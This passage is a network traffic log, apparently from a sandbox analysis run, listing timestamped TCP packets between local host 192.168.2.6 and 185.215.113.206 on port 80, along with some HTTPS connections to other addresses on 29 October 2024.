Oct 29, 2024 15:27:48.600503922 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600518942 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600522041 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600528002 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600533962 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.600580931 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.600759029 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600816011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600836039 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600847960 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.600874901 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.600888014 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.600951910 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600958109 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600969076 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600982904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600989103 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600995064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601001024 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601006985 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.601012945 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601021051 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601037025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601042032 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.601042986 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601057053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601058006 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.601080894 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.601103067 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.601176977 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601182938 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601193905 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601201057 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601206064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601212025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601217985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601223946 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601289988 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.601290941 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.601576090 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601623058 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601629972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601641893 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.601675034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601677895 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.601681948 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601695061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601701021 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601728916 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.601742029 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.601809978 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601815939 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601823092 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601829052 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601841927 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601847887 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601860046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601866007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.601866961 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.601900101 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.601917982 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.602555990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602562904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602575064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602580070 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602587938 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602600098 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602607012 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602612972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602615118 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.602626085 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602632046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602638960 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602642059 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.602662086 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602669954 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602669001 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.602684975 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602691889 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602694988 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.602698088 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602705956 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602713108 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602715969 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.602720022 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602729082 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602730989 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602735043 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602741003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602746964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602750063 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.602752924 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602765083 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602771044 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602797985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602804899 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.602818012 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.602823973 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.602859020 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.603300095 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603306055 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603317022 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603327036 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603333950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603339911 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603346109 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603351116 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603357077 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603363037 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603368998 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603370905 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.603374958 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603382111 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603389025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603394985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603399038 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.603400946 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603410006 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603421926 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.603434086 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603442907 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.603460073 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.603491068 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.603502035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603508949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603514910 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603549004 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.603585958 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603593111 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603605032 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603609085 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.603645086 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.603660107 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.603960991 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604017019 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.604063988 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604069948 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604077101 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604083061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604089022 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604095936 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604110956 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.604142904 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.604156017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604162931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604168892 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604175091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604182959 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604201078 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.604232073 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.604337931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604350090 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604356050 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604362011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604367971 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604379892 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604387045 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604392052 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.604393959 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604402065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604408979 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604424000 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.604445934 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.604494095 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604501009 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604507923 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604513884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604521990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604527950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604557991 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.604569912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604578018 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604585886 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.604589939 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604598045 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604604959 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604613066 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604618073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604621887 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.604645014 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.604666948 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.604703903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604710102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.604751110 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.623878002 CET	50001	443	192.168.2.6	23.198.7.184
Oct 29, 2024 15:27:48.623897076 CET	443	50001	23.198.7.184	192.168.2.6
Oct 29, 2024 15:27:48.623908997 CET	50003	443	192.168.2.6	204.79.197.219
Oct 29, 2024 15:27:48.623912096 CET	50004	443	192.168.2.6	204.79.197.219
Oct 29, 2024 15:27:48.623919010 CET	443	50003	204.79.197.219	192.168.2.6
Oct 29, 2024 15:27:48.623923063 CET	443	50004	204.79.197.219	192.168.2.6
Oct 29, 2024 15:27:48.639302969 CET	50002	443	192.168.2.6	23.198.7.184
Oct 29, 2024 15:27:48.643332958 CET	443	50005	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:48.659466982 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.665115118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.709902048 CET	443	50008	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.710505962 CET	50008	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.710525990 CET	443	50008	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.711102962 CET	50008	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.711107969 CET	443	50008	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.781820059 CET	50006	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:48.781831026 CET	443	50006	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:48.781829119 CET	50001	443	192.168.2.6	23.198.7.184
Oct 29, 2024 15:27:48.781851053 CET	50003	443	192.168.2.6	204.79.197.219
Oct 29, 2024 15:27:48.781915903 CET	50004	443	192.168.2.6	204.79.197.219
Oct 29, 2024 15:27:48.842596054 CET	443	50007	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.844487906 CET	50007	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.844505072 CET	443	50007	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.845253944 CET	50007	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.845269918 CET	443	50007	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.900499105 CET	443	50008	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.900595903 CET	443	50008	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.900655031 CET	443	50008	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.900712013 CET	50008	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.901005983 CET	50008	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.901015997 CET	443	50008	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.901026011 CET	50008	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.901031017 CET	443	50008	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.905800104 CET	50013	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.905841112 CET	443	50013	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.905949116 CET	50013	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.906229019 CET	50013	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.906243086 CET	443	50013	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.927380085 CET	50006	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:48.950592041 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.950601101 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.950613976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.950659990 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.950681925 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.950689077 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.950700998 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.950707912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.950737000 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.950828075 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.950834990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.950840950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.950846910 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.950850964 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.950855017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.950861931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.950875044 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.950889111 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.950913906 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.950934887 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.951025009 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951035976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951042891 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951056004 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951061964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951075077 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951080084 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.951081038 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951095104 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951100111 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.951132059 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.951148033 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.951164007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951170921 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951184034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951212883 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.951411009 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951423883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951430082 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951435089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951442003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951453924 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951459885 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951466084 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951467991 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.951472998 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951479912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951497078 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951500893 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.951503992 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951519966 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951523066 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.951527119 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951540947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951546907 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951549053 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.951554060 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951561928 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951567888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951575994 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951641083 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.951641083 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.951641083 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.951641083 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.951865911 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951879025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951884031 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951889992 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951908112 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951915026 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951920986 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.951942921 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.952006102 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.952007055 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.952070951 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952079058 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952083111 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952089071 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952096939 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952101946 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952116013 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952127934 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.952178001 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.952203035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952210903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952217102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952229023 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952235937 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952248096 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952248096 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.952254057 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952269077 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952275991 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952282906 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952286959 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.952290058 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952297926 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.952305079 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952343941 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952351093 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952349901 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.952366114 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952368975 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.952372074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952378988 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952395916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952395916 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.952404976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952411890 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952411890 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.952418089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952424049 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952430010 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952436924 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952442884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.952449083 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.952450037 CET	80	49940	185.215.113.206	192.168.2.6
